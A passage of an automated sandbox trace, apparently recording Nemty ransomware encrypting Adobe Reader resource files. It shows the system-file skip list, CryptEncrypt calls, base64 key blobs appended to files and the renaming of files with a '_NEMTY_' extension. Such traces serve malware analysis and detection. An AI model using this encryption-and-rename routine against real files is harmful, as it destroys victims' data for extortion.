(lpString1="dut.fca", lpString2="NTDETECT.COM") returned -1 [0217.264] lstrcmpiW (lpString1="dut.fca", lpString2="ntldr") returned -1 [0217.264] lstrcmpiW (lpString1="dut.fca", lpString2="MSDOS.SYS") returned -1 [0217.264] lstrcmpiW (lpString1="dut.fca", lpString2="IO.SYS") returned -1 [0217.264] lstrcmpiW (lpString1="dut.fca", lpString2="boot.ini") returned 1 [0217.264] lstrcmpiW (lpString1="dut.fca", lpString2="boot.ini") returned 1 [0217.264] lstrcmpiW (lpString1="dut.fca", lpString2="AUTOEXEC.BAT") returned 1 [0217.264] lstrcmpiW (lpString1="dut.fca", lpString2="ntuser.dat") returned -1 [0217.264] lstrcmpiW (lpString1="dut.fca", lpString2="desktop.ini") returned 1 [0217.264] lstrcmpiW (lpString1="dut.fca", lpString2="CONFIG.SYS") returned 1 [0217.264] lstrcmpiW (lpString1="dut.fca", lpString2="RECYCLER") returned -1 [0217.264] lstrcmpiW (lpString1="dut.fca", lpString2="BOOTSECT.BAK") returned 1 [0217.264] lstrcmpiW (lpString1="dut.fca", lpString2="bootmgr") returned 1 [0217.264] lstrcmpiW (lpString1="dut.fca", lpString2="programdata") returned -1 [0217.264] lstrcmpiW (lpString1="dut.fca", lpString2="appdata") returned 1 [0217.264] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.264] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut.fca", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dut.fca", lpUsedDefaultChar=0x0) returned 7 [0217.264] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.264] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut.fca", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dut.fca", lpUsedDefaultChar=0x0) returned 7 [0217.264] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.264] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut.fca", cchWideChar=7, lpMultiByteStr=0x653e260, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dut.fca", lpUsedDefaultChar=0x0) returned 7 [0217.264] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.264] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut.fca", cchWideChar=7, lpMultiByteStr=0x653e298, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dut.fca", lpUsedDefaultChar=0x0) returned 7 [0217.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340500 [0217.264] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352d38 | out: hHeap=0x4f90000) returned 1 [0217.264] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0217.265] Sleep (dwMilliseconds=0x5) [0217.275] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x3524b250, dwHighDateTime=0x1d561e8)) [0217.275] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x3524b250, dwHighDateTime=0x1d561e8)) [0217.275] GetLastError () returned 0x0 [0217.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0217.275] GetLastError () returned 0x0 [0217.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0217.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.275] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0217.275] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0217.275] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0217.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0217.275] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653df5c | out: pszString="dVQVcOnDoWqvqVoEZ1aMTkyHGsxP2wf2n66wGprDJlhrfFBMBkKJTXGtQhkfz619\r\nUWbLgnqLJ7ui6ZCZBpnoc5qLWeSjyajRjMA0IH2oOgUv1F7/GjtjnTZqRE1V2OII\r\n/aa7Cpx+GfHig0hgSByhzxeBHJNBMwXuKsRKywH8pq6K1gmOlEPi4KQ6E5P9/gf5\r\nPi99NIdvSB5EQoS7kWcJTYmCRu5a7Kzjwa9CzFQYdjpxwOpEKj1Qs0yZwf9dVGaI\r\n6b3karL18difP2ozGORLyTNg5oHNVf1VmFJN40WAHiCATgQXuFEon480nqLj/k+l\r\ncFsJc1EUAE6JFnUah47bNg==\r\n", pcchString=0x653df5c) returned 1 [0217.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0217.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x63405c8 [0217.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0217.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0217.275] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dut.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dut.fca"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0217.276] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=1308) returned 1 [0217.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x510) returned 0x63440b0 [0217.276] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.276] ReadFile (in: hFile=0x320, lpBuffer=0x63440b0, nNumberOfBytesToRead=0x510, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesRead=0x653e1a4*=0x510, lpOverlapped=0x0) returned 1 [0217.277] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.277] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x510, lpOverlapped=0x0) returned 1 [0217.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0217.278] SetFilePointer (in: hFile=0x320, lDistanceToMove=1308, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x51c [0217.278] WriteFile (in: hFile=0x320, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0217.278] CloseHandle (hObject=0x320) returned 1 [0217.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63440b0 [0217.278] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0217.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.278] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0217.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352d38 [0217.278] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6344178 [0217.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352d38 | out: hHeap=0x4f90000) returned 1 [0217.278] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.278] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dut.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dut.fca"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dut.fca._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dut.fca._nemty_kgobjgd_")) returned 1 [0217.279] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344178 | out: hHeap=0x4f90000) returned 1 [0217.279] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0217.279] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63405c8 | out: hHeap=0x4f90000) returned 1 [0217.279] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.279] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.279] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.279] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.279] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0217.279] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc7e5a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11c00, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="dut.hyp", cAlternateFileName="")) returned 1 [0217.279] lstrcmpiW (lpString1="dut.hyp", lpString2=".") returned 1 [0217.279] lstrcmpiW (lpString1="dut.hyp", lpString2="..") returned 1 [0217.279] lstrcmpiW (lpString1="dut.hyp", lpString2="...") returned 1 [0217.279] lstrcmpiW (lpString1="dut.hyp", lpString2="windows") returned -1 [0217.279] lstrcmpiW (lpString1="dut.hyp", lpString2="$RECYCLE.BIN") returned 1 [0217.279] lstrcmpiW (lpString1="dut.hyp", lpString2="rsa") returned -1 [0217.279] lstrcmpiW (lpString1="dut.hyp", lpString2="NTDETECT.COM") returned -1 [0217.279] lstrcmpiW (lpString1="dut.hyp", lpString2="ntldr") returned -1 [0217.279] lstrcmpiW (lpString1="dut.hyp", lpString2="MSDOS.SYS") returned -1 [0217.279] lstrcmpiW (lpString1="dut.hyp", lpString2="IO.SYS") returned -1 [0217.279] lstrcmpiW (lpString1="dut.hyp", lpString2="boot.ini") returned 1 [0217.279] lstrcmpiW (lpString1="dut.hyp", lpString2="boot.ini") returned 1 [0217.279] lstrcmpiW (lpString1="dut.hyp", lpString2="AUTOEXEC.BAT") returned 1 [0217.279] lstrcmpiW (lpString1="dut.hyp", lpString2="ntuser.dat") returned -1 [0217.279] lstrcmpiW (lpString1="dut.hyp", lpString2="desktop.ini") returned 1 [0217.280] lstrcmpiW (lpString1="dut.hyp", lpString2="CONFIG.SYS") returned 1 [0217.280] lstrcmpiW (lpString1="dut.hyp", lpString2="RECYCLER") returned -1 [0217.280] lstrcmpiW (lpString1="dut.hyp", lpString2="BOOTSECT.BAK") returned 1 [0217.280] lstrcmpiW (lpString1="dut.hyp", lpString2="bootmgr") returned 1 [0217.280] lstrcmpiW (lpString1="dut.hyp", lpString2="programdata") returned -1 [0217.280] lstrcmpiW (lpString1="dut.hyp", lpString2="appdata") returned 1 [0217.280] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.280] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut.hyp", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dut.hyp", lpUsedDefaultChar=0x0) returned 7 [0217.280] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.280] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut.hyp", cchWideChar=7, lpMultiByteStr=0x653e210, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dut.hyp", lpUsedDefaultChar=0x0) returned 7 [0217.280] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.280] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut.hyp", cchWideChar=7, lpMultiByteStr=0x653e260, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dut.hyp", lpUsedDefaultChar=0x0) returned 7 [0217.280] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0217.280] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="dut.hyp", cchWideChar=7, lpMultiByteStr=0x653e298, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dut.hyp", lpUsedDefaultChar=0x0) returned 7 [0217.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0217.280] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0217.280] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340500 [0217.280] Sleep (dwMilliseconds=0x5) [0217.290] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x352713b0, dwHighDateTime=0x1d561e8)) [0217.290] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x352713b0, dwHighDateTime=0x1d561e8)) [0217.290] GetLastError () returned 0x0 [0217.290] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0217.291] GetLastError () returned 0x0 [0217.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0217.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0217.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.291] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0217.291] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0217.291] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0217.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0217.291] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653df5c | out: pszString="Hk5p7ORFgTt7Nf/nptqdgCz9t5LnSvEhrYA6tKYX7VlNJ1iVU953yqw3Wq9BSN+A\r\no2bcNalMpGxFlRwIFC9U2sVAw0gQ8lSbF4++dnKtgKzCEzYk/OXc2oE3Y7qC+fA7\r\n9vcuiSgKbnrhdlJKLrw+kqEcowT8iWKYRxvvJGW8z0x4sRfajQgCv+Wz1X09FXXD\r\nOqqk+Z4AvfO+JxyeJX2XwCOEIpy1i4UaOPAqp24JvMrrD/eXMBsuYBIvl+i0V8NU\r\nGVLqOwYXuOdN/jadIwdQs6j4GDJe/mwA1U2sSNVR8oHocl6jsIZM7wzZKks6DRin\r\n4R1bQnTwu4qeIakHVvL+zQ==\r\n", pcchString=0x653df5c) returned 1 [0217.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0217.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.291] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x63405c8 [0217.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0217.291] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0217.291] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dut.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dut.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0217.292] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=72704) returned 1 [0217.292] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11c00) returned 0x6354c48 [0217.292] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.292] ReadFile (in: hFile=0x320, lpBuffer=0x6354c48, nNumberOfBytesToRead=0x11c00, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesRead=0x653e1a4*=0x11c00, lpOverlapped=0x0) returned 1 [0217.298] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0217.298] WriteFile (in: hFile=0x320, lpBuffer=0x6354c48*, nNumberOfBytesToWrite=0x11c00, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6354c48*, lpNumberOfBytesWritten=0x653e19c*=0x11c00, lpOverlapped=0x0) returned 1 [0217.298] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6354c48 | out: hHeap=0x4f90000) returned 1 [0217.298] SetFilePointer (in: hFile=0x320, lDistanceToMove=72704, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x11c00 [0217.298] WriteFile (in: hFile=0x320, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0217.298] CloseHandle (hObject=0x320) returned 1 [0217.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63440b0 [0217.298] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0217.298] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0217.299] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0217.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0217.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0217.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6352d38 [0217.299] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6344178 [0217.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352d38 | out: hHeap=0x4f90000) returned 1 [0217.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0217.299] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dut.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dut.hyp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\dut.hyp._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\dut.hyp._nemty_kgobjgd_")) returned 1 [0217.299] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344178 | out: hHeap=0x4f90000) returned 1 [0217.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0217.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63405c8 | out: hHeap=0x4f90000) returned 1 [0217.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0217.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0217.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0217.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0217.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0217.300] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc7e5a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5c06a, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="dut102.hsp", cAlternateFileName="")) returned 1 [0217.300] lstrcmpiW (lpString1="dut102.hsp", lpString2=".") returned 1 [0217.300] lstrcmpiW (lpString1="dut102.hsp", lpString2="..") returned 1 [0217.300] lstrcmpiW (lpString1="dut102.hsp", lpString2="...") returned 1 [0217.300] lstrcmpiW (lpString1="dut102.hsp", lpString2="windows") returned -1 [0217.300] lstrcmpiW (lpString1="dut102.hsp", lpString2="$RECYCLE.BIN") returned 1 [0217.300] lstrcmpiW (lpString1="dut102.hsp", lpString2="rsa") returned -1 [0217.300] lstrcmpiW (lpString1="dut102.hsp", lpString2="NTDETECT.COM") returned -1 [0217.300] lstrcmpiW (lpString1="dut102.hsp", lpString2="ntldr") returned -1 [0217.300] lstrcmpiW (lpString1="dut102.hsp", lpString2="MSDOS.SYS") returned -1 [0217.300] lstrcmpiW (lpString1="dut102.hsp", lpString2="IO.SYS") returned -1 [0217.300] lstrcmpiW (lpString1="dut102.hsp", lpString2="boot.ini") returned 1 [0217.300] lstrcmpiW (lpString1="dut102.hsp", lpString2="boot.ini") returned 1 [0217.300] lstrcmpiW (lpString1="dut102.hsp", lpString2="AUTOEXEC.BAT") returned 1 [0217.300] lstrcmpiW (lpString1="dut102.hsp", lpString2="ntuser.dat") returned -1 [0217.300] lstrcmpiW (lpString1="dut102.hsp", lpString2="desktop.ini") returned 1 [0217.300] lstrcmpiW (lpString1="dut102.hsp", lpString2="CONFIG.SYS") returned 1 [0217.300] lstrcmpiW (lpString1="dut102.hsp", lpString2="RECYCLER") returned -1 [0217.300] lstrcmpiW (lpString1="dut102.hsp", lpString2="BOOTSECT.BAK") returned 1 [0217.300] lstrcmpiW (lpString1="dut102.hsp", lpString2="bootmgr") returned 1 [0217.300] lstrcmpiW (lpString1="dut102.hsp", lpString2="programdata") returned 